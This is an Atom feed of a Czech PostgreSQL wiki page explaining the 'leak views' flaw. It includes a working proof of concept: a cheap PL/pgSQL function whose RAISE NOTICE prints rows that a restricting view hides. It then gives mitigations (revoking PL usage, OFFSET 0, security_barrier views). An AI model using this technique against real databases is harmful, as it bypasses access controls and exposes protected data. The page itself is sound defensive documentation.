<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="cs">
	<id>http://postgres.cz/index.php?action=history&amp;feed=atom&amp;title=Leak_views</id>
	<title>Leak views - Historie editací</title>
	<link rel="self" type="application/atom+xml" href="http://postgres.cz/index.php?action=history&amp;feed=atom&amp;title=Leak_views"/>
	<link rel="alternate" type="text/html" href="http://postgres.cz/index.php?title=Leak_views&amp;action=history"/>
	<updated>2026-05-13T23:05:39Z</updated>
	<subtitle>Historie editací této stránky</subtitle>
	<generator>MediaWiki 1.43.3</generator>
	<entry>
		<id>http://postgres.cz/index.php?title=Leak_views&amp;diff=515&amp;oldid=prev</id>
		<title>192.108.125.15: fix typo PL/plSQL-&gt;PL/pgSQL</title>
		<link rel="alternate" type="text/html" href="http://postgres.cz/index.php?title=Leak_views&amp;diff=515&amp;oldid=prev"/>
		<updated>2012-01-16T12:42:00Z</updated>

		<summary type="html">&lt;p&gt;fix typo PL/plSQL-&amp;gt;PL/pgSQL&lt;/p&gt;
&lt;p&gt;&lt;b&gt;Nová stránka&lt;/b&gt;&lt;/p&gt;&lt;div&gt;V případě, že se používají pohledy k omezení přístupu k určitým řádkům, lze zneužít PL/pgSQL (případně PL/Perl) k získání blokovaných dat.&lt;br /&gt;
&lt;br /&gt;
Postup útoku je relativně jednoduchý - potřebujeme funkci, jejíž parametr je stejného typu jako hodnota, kterou chceme získat, a která vrací logickou hodnotu true. Uvnitř této použijeme ladící výstup pro zobrazení hodnoty parametru. Tato funkce musí mít velice nízkou cenu:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CREATE OR REPLACE FUNCTION public.fx(integer)&lt;br /&gt;
 RETURNS boolean&lt;br /&gt;
 LANGUAGE plpgsql&lt;br /&gt;
 COST 1e-05&lt;br /&gt;
AS $function$&lt;br /&gt;
begin&lt;br /&gt;
  raise notice &amp;#039;%&amp;#039;, $1;&lt;br /&gt;
  return true;&lt;br /&gt;
end;&lt;br /&gt;
$function$ &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Připravíme si zdrojovou tabulku, která bude představovat chráněná data, a pohled, který bude zpřístupňovat liché řádky:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
create table t(a int);&lt;br /&gt;
insert into t select generate_series(1,10);&lt;br /&gt;
create view v as select * from t where a % 2 = 1;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Běžný uživatel bude mít přístup pouze k pohledu v, tj. k lichým řádkům. Pokud útočník kompromituje běžný účet a připraví si funkci fx, pak díky optimalizaci získá obsah sudých řádků. Optimalizátor zjistí, že funkce fx slouží jako filtr a díky nízké ceně se snaží aplikovat tuto funkci co nejdříve - přičemž předběhne funkci, která filtruje obsah podle toho, zda-li je řádek sudý nebo lichý.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
postgres=# select * from v;&lt;br /&gt;
 a &lt;br /&gt;
---&lt;br /&gt;
 1&lt;br /&gt;
 3&lt;br /&gt;
 5&lt;br /&gt;
 7&lt;br /&gt;
 9&lt;br /&gt;
(5 rows)&lt;br /&gt;
&lt;br /&gt;
postgres=# select * from v where fx(a);&lt;br /&gt;
NOTICE:  1&lt;br /&gt;
NOTICE:  2&lt;br /&gt;
NOTICE:  3&lt;br /&gt;
NOTICE:  4&lt;br /&gt;
NOTICE:  5&lt;br /&gt;
NOTICE:  6&lt;br /&gt;
NOTICE:  7&lt;br /&gt;
NOTICE:  8&lt;br /&gt;
NOTICE:  9&lt;br /&gt;
NOTICE:  10&lt;br /&gt;
 a &lt;br /&gt;
---&lt;br /&gt;
 1&lt;br /&gt;
 3&lt;br /&gt;
 5&lt;br /&gt;
 7&lt;br /&gt;
 9&lt;br /&gt;
(5 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Aktuálně se pracuje na &amp;quot;zamčení&amp;quot; definice pohledu, tak aby nebylo možné podstrčit vlastní funkci - problémem je, že uzamčení může mít negativní dopady na výkon. Předpokládá se, že v PostgreSQL 9.2 bude tento nežádoucí chování blokováno. Dokud ovšem tento problém nebude vyřešen, je nutné zajistit:&lt;br /&gt;
* běžný aplikační uživatel nesmí mít možnost vytvářet kód v PL - tak aby kompromitace jeho účtu neohrozila db - což je nejjednodušší a efektivní řešení - přičemž se doporučuje pro vytváření uložených procedur a db objektů používat vyhrazený účet - a to jak pro z důvodů konzistence vlastnictví, tak nyní i z důvodů bezpečnostních.&lt;br /&gt;
* pokud pro běžný účet nelze blokovat PL, pak dalším řešením je použití klauzule OFFSET 0 ve všech pohledech, které používáme pro filtrování obsahu z důvodu omezení přístupu k datům. Tím ovšem blokujeme i některé možné optimalizace (např. možného použití indexu).&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-- ukazka nefunkcniho zabezpeceni&lt;br /&gt;
postgres=# explain select * from v where fx(a);&lt;br /&gt;
                    QUERY PLAN                    &lt;br /&gt;
--------------------------------------------------&lt;br /&gt;
 Seq Scan on t  (cost=0.00..46.00 rows=4 width=4)&lt;br /&gt;
   Filter: (fx(a) AND ((a % 2) = 1))&lt;br /&gt;
&lt;br /&gt;
postgres=# drop view v;&lt;br /&gt;
DROP VIEW&lt;br /&gt;
postgres=# create view v as select * from t where a % 2 = 1 offset 0;&lt;br /&gt;
CREATE VIEW&lt;br /&gt;
postgres=# explain select * from v where fx(a);&lt;br /&gt;
                          QUERY PLAN                           &lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
 Subquery Scan on v  (cost=0.00..46.12 rows=4 width=4)&lt;br /&gt;
   Filter: fx(v.a)&lt;br /&gt;
   -&amp;gt;  Limit  (cost=0.00..46.00 rows=12 width=4)&lt;br /&gt;
         -&amp;gt;  Seq Scan on t  (cost=0.00..46.00 rows=12 width=4)&lt;br /&gt;
               Filter: ((a % 2) = 1)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pokud to je jen trochu možné, tak je použít první typ zabezpečení - pro vyhrazeného aplikačního uživatele zablokovat možnost vytvářet vlastní funkce:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
REVOKE USAGE ON LANGUAGE plpgsql FROM public;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Poznamka - tento problém je vyřešen v 9.2 pomocí tzv. bezpečnostní bariéry:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CREATE OR REPLACE VIEW mysecview5 WITH (security_barrier=true) AS SELECT * FROM x WHERE a % 2 = 0;&lt;br /&gt;
postgres=# explain select * from mysecview5 where fx(a) and b between 10 and 30;&lt;br /&gt;
                                   QUERY PLAN                                   &lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
 Subquery Scan on mysecview5  (cost=0.00..19500.00 rows=8 width=8)&lt;br /&gt;
   Filter: (fx(mysecview5.a) AND (mysecview5.b &amp;gt;= 10) AND (mysecview5.b &amp;lt;= 30))&lt;br /&gt;
   -&amp;gt;  Seq Scan on x  (cost=0.00..19425.00 rows=5000 width=8)&lt;br /&gt;
         Filter: ((a % 2) = 0)&lt;br /&gt;
(4 rows)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Pro rozumný výkon tento typ pohledů vyžaduje podmíněné indexy s podmínkou odpovídající podmínce v pohledu.&lt;/div&gt;</summary>
		<author><name>192.108.125.15</name></author>
	</entry>
</feed>